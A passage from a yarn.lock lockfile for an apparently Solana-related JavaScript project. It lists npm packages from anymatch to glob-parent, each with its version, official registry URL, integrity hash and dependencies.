sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg== 234 | dependencies: 235 | normalize-path "^3.0.0" 236 | picomatch "^2.0.4" 237 | 238 | arg@^5.0.1: 239 | version "5.0.1" 240 | resolved "https://registry.npmjs.org/arg/-/arg-5.0.1.tgz" 241 | integrity sha512-e0hDa9H2Z9AwFkk2qDlwhoMYE4eToKarchkQHovNdLTCYMHZHeRjI71crOh+dio4K6u1IcwubQqo79Ga4CyAQA== 242 | 243 | argparse@^2.0.1: 244 | version "2.0.1" 245 | resolved "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz" 246 | integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q== 247 | 248 | arrify@^1.0.0: 249 | version "1.0.1" 250 | resolved "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz" 251 | integrity sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA== 252 | 253 | assertion-error@^1.1.0: 254 | version "1.1.0" 255 | resolved "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz" 256 | integrity sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw== 257 | 258 | autoprefixer@^10.4.7: 259 | version "10.4.7" 260 | resolved "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.7.tgz" 261 | integrity sha512-ypHju4Y2Oav95SipEcCcI5J7CGPuvz8oat7sUtYj3ClK44bldfvtvcxK6IEK++7rqB7YchDGzweZIBG+SD0ZAA== 262 | dependencies: 263 | browserslist "^4.20.3" 264 | caniuse-lite "^1.0.30001335" 265 | fraction.js "^4.2.0" 266 | normalize-range "^0.1.2" 267 | picocolors "^1.0.0" 268 | postcss-value-parser "^4.2.0" 269 | 270 | balanced-match@^1.0.0: 271 | version "1.0.2" 272 | resolved "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz" 273 | integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw== 274 | 275 | base-x@^3.0.2: 276 | version "3.0.9" 277 | resolved "https://registry.npmjs.org/base-x/-/base-x-3.0.9.tgz" 278 | integrity sha512-H7JU6iBHTal1gp56aKoaa//YUxEaAOUiydvrV/pILqIHXTtqxSkATOnDA2u+jZ/61sD+L/412+7kzXRtWukhpQ== 279 | dependencies: 280 | safe-buffer "^5.0.1" 281 | 282 | base-x@^4.0.0: 283 | version "4.0.0" 284 | resolved "https://registry.npmjs.org/base-x/-/base-x-4.0.0.tgz" 285 | integrity sha512-FuwxlW4H5kh37X/oW59pwTzzTKRzfrrQwhmyspRM7swOEZcHtDZSCt45U6oKgtuFE+WYPblePMVIPR4RZrh/hw== 286 | 287 | base64-js@^1.3.1, base64-js@^1.5.1: 288 | version "1.5.1" 289 | resolved "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz" 290 | integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA== 291 | 292 | bigint-buffer@^1.1.5: 293 | version "1.1.5" 294 | resolved "https://registry.npmjs.org/bigint-buffer/-/bigint-buffer-1.1.5.tgz" 295 | integrity sha512-trfYco6AoZ+rKhKnxA0hgX0HAbVP/s808/EuDSe2JDzUnCp/xAsli35Orvk67UrTEcwuxZqYZDmfA2RXJgxVvA== 296 | dependencies: 297 | bindings "^1.3.0" 298 | 299 | binary-extensions@^2.0.0: 300 | version "2.2.0" 301 | resolved "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz" 302 | integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA== 303 | 304 | bindings@^1.3.0: 305 | version "1.5.0" 306 | resolved "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz" 307 | integrity sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ== 308 | dependencies: 309 | file-uri-to-path "1.0.0" 310 | 311 | bn.js@^4.11.9: 312 | version "4.12.0" 313 | resolved "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz" 314 | integrity sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA== 315 | 316 | bn.js@^5.0.0, bn.js@^5.1.2, bn.js@^5.2.0: 317 | version "5.2.1" 318 | resolved "https://registry.npmjs.org/bn.js/-/bn.js-5.2.1.tgz" 319 | integrity sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ== 320 | 321 | borsh@^0.7.0: 322 | version "0.7.0" 323 | resolved "https://registry.npmjs.org/borsh/-/borsh-0.7.0.tgz" 324 | integrity sha512-CLCsZGIBCFnPtkNnieW/a8wmreDmfUtjU2m9yHrzPXIlNbqVs0AQrSatSG6vdNYUqdc83tkQi2eHfF98ubzQLA== 325 | dependencies: 326 | bn.js "^5.2.0" 327 | bs58 "^4.0.0" 328 | text-encoding-utf-8 "^1.0.2" 329 | 330 | brace-expansion@^1.1.7: 331 | version "1.1.11" 332 | resolved "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz" 333 | integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA== 334 | dependencies: 335 | balanced-match "^1.0.0" 336 | concat-map "0.0.1" 337 | 338 | braces@^3.0.2, braces@~3.0.2: 339 | version "3.0.2" 340 | resolved "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz" 341 | integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A== 342 | dependencies: 343 | fill-range "^7.0.1" 344 | 345 | brorand@^1.1.0: 346 | version "1.1.0" 347 | resolved "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz" 348 | integrity sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w== 349 | 350 | browser-stdout@1.3.1: 351 | version "1.3.1" 352 | resolved "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz" 353 | integrity sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw== 354 | 355 | browserslist@^4.20.3: 356 | version "4.20.3" 357 | resolved "https://registry.npmjs.org/browserslist/-/browserslist-4.20.3.tgz" 358 | integrity sha512-NBhymBQl1zM0Y5dQT/O+xiLP9/rzOIQdKM/eMJBAq7yBgaB6krIYLGejrwVYnSHZdqjscB1SPuAjHwxjvN6Wdg== 359 | dependencies: 360 | caniuse-lite "^1.0.30001332" 361 | electron-to-chromium "^1.4.118" 362 | escalade "^3.1.1" 363 | node-releases "^2.0.3" 364 | picocolors "^1.0.0" 365 | 366 | bs58@^4.0.0, bs58@^4.0.1: 367 | version "4.0.1" 368 | resolved "https://registry.npmjs.org/bs58/-/bs58-4.0.1.tgz" 369 | integrity sha512-Ok3Wdf5vOIlBrgCvTq96gBkJw+JUEzdBgyaza5HLtPm7yTHkjRy8+JzNyHF7BHa0bNWOQIp3m5YF0nnFcOIKLw== 370 | dependencies: 371 | base-x "^3.0.2" 372 | 373 | bs58@^5.0.0: 374 | version "5.0.0" 375 | resolved "https://registry.npmjs.org/bs58/-/bs58-5.0.0.tgz" 376 | integrity sha512-r+ihvQJvahgYT50JD05dyJNKlmmSlMoOGwn1lCcEzanPglg7TxYjioQUYehQ9mAR/+hOSd2jRc/Z2y5UxBymvQ== 377 | dependencies: 378 | base-x "^4.0.0" 379 | 380 | buffer-from@^1.0.0, buffer-from@^1.1.0: 381 | version "1.1.2" 382 | resolved "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz" 383 | integrity sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ== 384 | 385 | buffer-layout@^1.2.0, buffer-layout@^1.2.2: 386 | version "1.2.2" 387 | resolved "https://registry.npmjs.org/buffer-layout/-/buffer-layout-1.2.2.tgz" 388 | integrity sha512-kWSuLN694+KTk8SrYvCqwP2WcgQjoRCiF5b4QDvkkz8EmgD+aWAIceGFKMIAdmF/pH+vpgNV3d3kAKorcdAmWA== 389 | 390 | buffer@6.0.1: 391 | version "6.0.1" 392 | resolved "https://registry.npmjs.org/buffer/-/buffer-6.0.1.tgz" 393 | integrity sha512-rVAXBwEcEoYtxnHSO5iWyhzV/O1WMtkUYWlfdLS7FjU4PnSJJHEfHXi/uHPI5EwltmOA794gN3bm3/pzuctWjQ== 394 | dependencies: 395 | base64-js "^1.3.1" 396 | ieee754 "^1.2.1" 397 | 398 | buffer@~6.0.3: 399 | version "6.0.3" 400 | resolved "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz" 401 | integrity sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA== 402 | dependencies: 403 | base64-js "^1.3.1" 404 | ieee754 "^1.2.1" 405 | 406 | bufferutil@^4.0.1: 407 | version "4.0.6" 408 | resolved "https://registry.npmjs.org/bufferutil/-/bufferutil-4.0.6.tgz" 409 | integrity sha512-jduaYOYtnio4aIAyc6UbvPCVcgq7nYpVnucyxr6eCYg/Woad9Hf/oxxBRDnGGjPfjUm6j5O/uBWhIu4iLebFaw== 410 | dependencies: 411 | node-gyp-build "^4.3.0" 412 | 413 | camelcase-css@^2.0.1: 414 | version "2.0.1" 415 | resolved "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz" 416 | integrity sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA== 417 | 418 | camelcase@^5.3.1: 419 | version "5.3.1" 420 | resolved "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz" 421 | integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg== 422 | 423 | camelcase@^6.0.0: 424 | version "6.3.0" 425 | resolved "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz" 426 | integrity sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA== 427 | 428 | caniuse-lite@^1.0.30001332, caniuse-lite@^1.0.30001335: 429 | version "1.0.30001346" 430 | resolved "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001346.tgz" 431 | integrity sha512-q6ibZUO2t88QCIPayP/euuDREq+aMAxFE5S70PkrLh0iTDj/zEhgvJRKC2+CvXY6EWc6oQwUR48lL5vCW6jiXQ== 432 | 433 | chai@^4.3.4: 434 | version "4.3.6" 435 | resolved "https://registry.npmjs.org/chai/-/chai-4.3.6.tgz" 436 | integrity sha512-bbcp3YfHCUzMOvKqsztczerVgBKSsEijCySNlHHbX3VG1nskvqjz5Rfso1gGwD6w6oOV3eI60pKuMOV5MV7p3Q== 437 | dependencies: 438 | assertion-error "^1.1.0" 439 | check-error "^1.0.2" 440 | deep-eql "^3.0.1" 441 | get-func-name "^2.0.0" 442 | loupe "^2.3.1" 443 | pathval "^1.1.1" 444 | type-detect "^4.0.5" 445 | 446 | chalk@^4.1.0: 447 | version "4.1.2" 448 | resolved "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz" 449 | integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA== 450 | dependencies: 451 | ansi-styles "^4.1.0" 452 | supports-color "^7.1.0" 453 | 454 | check-error@^1.0.2: 455 | version "1.0.2" 456 | resolved "https://registry.npmjs.org/check-error/-/check-error-1.0.2.tgz" 457 | integrity sha512-BrgHpW9NURQgzoNyjfq0Wu6VFO6D7IZEmJNdtgNqpzGG8RuNFHt2jQxWlAs4HMe119chBnv+34syEZtc6IhLtA== 458 | 459 | chokidar@3.5.3, chokidar@^3.5.3: 460 | version "3.5.3" 461 | resolved "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz" 462 | integrity sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw== 463 | dependencies: 464 | anymatch "~3.1.2" 465 | braces "~3.0.2" 466 | glob-parent "~5.1.2" 467 | is-binary-path "~2.1.0" 468 | is-glob "~4.0.1" 469 | normalize-path "~3.0.0" 470 | readdirp "~3.6.0" 471 | optionalDependencies: 472 | fsevents "~2.3.2" 473 | 474 | cliui@^7.0.2: 475 | version "7.0.4" 476 | resolved "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz" 477 | integrity sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ== 478 | dependencies: 479 | string-width "^4.2.0" 480 | strip-ansi "^6.0.0" 481 | wrap-ansi "^7.0.0" 482 | 483 | color-convert@^2.0.1: 484 | version "2.0.1" 485 | resolved "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz" 486 | integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ== 487 | dependencies: 488 | color-name "~1.1.4" 489 | 490 | color-name@^1.1.4, color-name@~1.1.4: 491 | version "1.1.4" 492 | resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz" 493 | integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA== 494 | 495 | commander@^2.20.3: 496 | version "2.20.3" 497 | resolved "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz" 498 | integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ== 499 | 500 | concat-map@0.0.1: 501 | version "0.0.1" 502 | resolved "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz" 503 | integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg== 504 | 505 | cross-fetch@^3.1.5: 506 | version "3.1.5" 507 | resolved "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.5.tgz" 508 | integrity sha512-lvb1SBsI0Z7GDwmuid+mU3kWVBwTVUbe7S0H52yaaAdQOXq2YktTCZdlAcNKFzE6QtRz0snpw9bNiPeOIkkQvw== 509 | dependencies: 510 | node-fetch "2.6.7" 511 | 512 | crypto-hash@^1.3.0: 513 | version "1.3.0" 514 | resolved "https://registry.npmjs.org/crypto-hash/-/crypto-hash-1.3.0.tgz" 515 | integrity sha512-lyAZ0EMyjDkVvz8WOeVnuCPvKVBXcMv1l5SVqO1yC7PzTwrD/pPje/BIRbWhMoPe436U+Y2nD7f5bFx0kt+Sbg== 516 | 517 | cssesc@^3.0.0: 518 | version "3.0.0" 519 | resolved "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz" 520 | integrity sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg== 521 | 522 | debug@4.3.3: 523 | version "4.3.3" 524 | resolved "https://registry.npmjs.org/debug/-/debug-4.3.3.tgz" 525 | integrity sha512-/zxw5+vh1Tfv+4Qn7a5nsbcJKPaSvCDhojn6FEl9vupwK2VCSDtEiEtqr8DFtzYFOdz63LBkxec7DYuc2jon6Q== 526 | dependencies: 527 | ms "2.1.2" 528 | 529 | decamelize@^4.0.0: 530 | version "4.0.0" 531 | resolved "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz" 532 | integrity sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ== 533 | 534 | deep-eql@^3.0.1: 535 | version "3.0.1" 536 | resolved "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz" 537 | integrity sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw== 538 | dependencies: 539 | type-detect "^4.0.0" 540 | 541 | defined@^1.0.0: 542 | version "1.0.0" 543 | resolved "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz" 544 | integrity sha512-Y2caI5+ZwS5c3RiNDJ6u53VhQHv+hHKwhkI1iHvceKUHw9Df6EK2zRLfjejRgMuCuxK7PfSWIMwWecceVvThjQ== 545 | 546 | delay@^5.0.0: 547 | version "5.0.0" 548 | resolved "https://registry.npmjs.org/delay/-/delay-5.0.0.tgz" 549 | integrity sha512-ReEBKkIfe4ya47wlPYf/gu5ib6yUG0/Aez0JQZQz94kiWtRQvZIQbTiehsnwHvLSWJnQdhVeqYue7Id1dKr0qw== 550 | 551 | detective@^5.2.0: 552 | version "5.2.1" 553 | resolved "https://registry.npmjs.org/detective/-/detective-5.2.1.tgz" 554 | integrity sha512-v9XE1zRnz1wRtgurGu0Bs8uHKFSTdteYZNbIPFVhUZ39L/S79ppMpdmVOZAnoz1jfEFodc48n6MX483Xo3t1yw== 555 | dependencies: 556 | acorn-node "^1.8.2" 557 | defined "^1.0.0" 558 | minimist "^1.2.6" 559 | 560 | didyoumean@^1.2.2: 561 | version "1.2.2" 562 | resolved "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz" 563 | integrity sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw== 564 | 565 | diff@5.0.0: 566 | version "5.0.0" 567 | resolved "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz" 568 | integrity sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w== 569 | 570 | diff@^3.1.0: 571 | version "3.5.0" 572 | resolved "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz" 573 | integrity sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA== 574 | 575 | dlv@^1.1.3: 576 | version "1.1.3" 577 | resolved "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz" 578 | integrity sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA== 579 | 580 | dot-case@^3.0.4: 581 | version "3.0.4" 582 | resolved "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz" 583 | integrity sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w== 584 | dependencies: 585 | no-case "^3.0.4" 586 | tslib "^2.0.3" 587 | 588 | electron-to-chromium@^1.4.118: 589 | version "1.4.144" 590 | resolved "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.144.tgz" 591 | integrity sha512-R3RV3rU1xWwFJlSClVWDvARaOk6VUO/FubHLodIASDB3Mc2dzuWvNdfOgH9bwHUTqT79u92qw60NWfwUdzAqdg== 592 | 593 | elliptic@^6.5.4: 594 | version "6.5.4" 595 | resolved "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz" 596 | integrity sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ== 597 | dependencies: 598 | bn.js "^4.11.9" 599 | brorand "^1.1.0" 600 | hash.js "^1.0.0" 601 | hmac-drbg "^1.0.1" 602 | inherits "^2.0.4" 603 | minimalistic-assert "^1.0.1" 604 | minimalistic-crypto-utils "^1.0.1" 605 | 606 | emoji-regex@^8.0.0: 607 | version "8.0.0" 608 | resolved "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz" 609 | integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A== 610 | 611 | es6-promise@^4.0.3: 612 | version "4.2.8" 613 | resolved "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz" 614 | integrity sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w== 615 | 616 | es6-promisify@^5.0.0: 617 | version "5.0.0" 618 | resolved "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz" 619 | integrity sha512-C+d6UdsYDk0lMebHNR4S2NybQMMngAOnOwYBQjTOiv0MkoJMP0Myw2mgpDLBcpfCmRLxyFqYhS/CfOENq4SJhQ== 620 | dependencies: 621 | es6-promise "^4.0.3" 622 | 623 | escalade@^3.1.1: 624 | version "3.1.1" 625 | resolved "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz" 626 | integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw== 627 | 628 | escape-string-regexp@4.0.0: 629 | version "4.0.0" 630 | resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz" 631 | integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA== 632 | 633 | eventemitter3@^4.0.7: 634 | version "4.0.7" 635 | resolved "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz" 636 | integrity sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw== 637 | 638 | eyes@^0.1.8: 639 | version "0.1.8" 640 | resolved "https://registry.npmjs.org/eyes/-/eyes-0.1.8.tgz" 641 | integrity sha512-GipyPsXO1anza0AOZdy69Im7hGFCNB7Y/NGjDlZGJ3GJJLtwNSb2vrzYrTYJRrRloVx7pl+bhUaTB8yiccPvFQ== 642 | 643 | fast-glob@^3.2.11: 644 | version "3.2.11" 645 | resolved "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz" 646 | integrity sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew== 647 | dependencies: 648 | "@nodelib/fs.stat" "^2.0.2" 649 | "@nodelib/fs.walk" "^1.2.3" 650 | glob-parent "^5.1.2" 651 | merge2 "^1.3.0" 652 | micromatch "^4.0.4" 653 | 654 | fast-stable-stringify@^1.0.0: 655 | version "1.0.0" 656 | resolved "https://registry.npmjs.org/fast-stable-stringify/-/fast-stable-stringify-1.0.0.tgz" 657 | integrity sha512-wpYMUmFu5f00Sm0cj2pfivpmawLZ0NKdviQ4w9zJeR8JVtOpOxHmLaJuj0vxvGqMJQWyP/COUkF75/57OKyRag== 658 | 659 | fastq@^1.6.0: 660 | version "1.13.0" 661 | resolved "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz" 662 | integrity sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw== 663 | dependencies: 664 | reusify "^1.0.4" 665 | 666 | file-uri-to-path@1.0.0: 667 | version "1.0.0" 668 | resolved "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz" 669 | integrity sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw== 670 | 671 | fill-range@^7.0.1: 672 | version "7.0.1" 673 | resolved "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz" 674 | integrity sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ== 675 | dependencies: 676 | to-regex-range "^5.0.1" 677 | 678 | find-up@5.0.0: 679 | version "5.0.0" 680 | resolved "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz" 681 | integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng== 682 | dependencies: 683 | locate-path "^6.0.0" 684 | path-exists "^4.0.0" 685 | 686 | flat@^5.0.2: 687 | version "5.0.2" 688 | resolved "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz" 689 | integrity sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ== 690 | 691 | fraction.js@^4.2.0: 692 | version "4.2.0" 693 | resolved "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz" 694 | integrity sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA== 695 | 696 | fs.realpath@^1.0.0: 697 | version "1.0.0" 698 | resolved "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz" 699 | integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw== 700 | 701 | fsevents@~2.3.2: 702 | version "2.3.2" 703 | resolved "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz" 704 | integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA== 705 | 706 | function-bind@^1.1.1: 707 | version "1.1.1" 708 | resolved "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz" 709 | integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A== 710 | 711 | get-caller-file@^2.0.5: 712 | version "2.0.5" 713 | resolved "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz" 714 | integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg== 715 | 716 | get-func-name@^2.0.0: 717 | version "2.0.0" 718 | resolved "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz" 719 | integrity sha512-Hm0ixYtaSZ/V7C8FJrtZIuBBI+iSgL+1Aq82zSu8VQNB4S3Gk8e7Qs3VwBDJAhmRZcFqkl3tQu36g/Foh5I5ig== 720 | 721 | glob-parent@^5.1.2, glob-parent@~5.1.2: 722 | version "5.1.2" 723 | resolved "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz" 724 | integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow== 725 | dependencies: 726 | is-glob "^4.0.1" 727 | 728 | glob-parent@^6.0.2: 729 | version "6.0.2" 730 | resolved "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz" 731 | integrity sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A== 732 | dependencies: 733 | is-glob 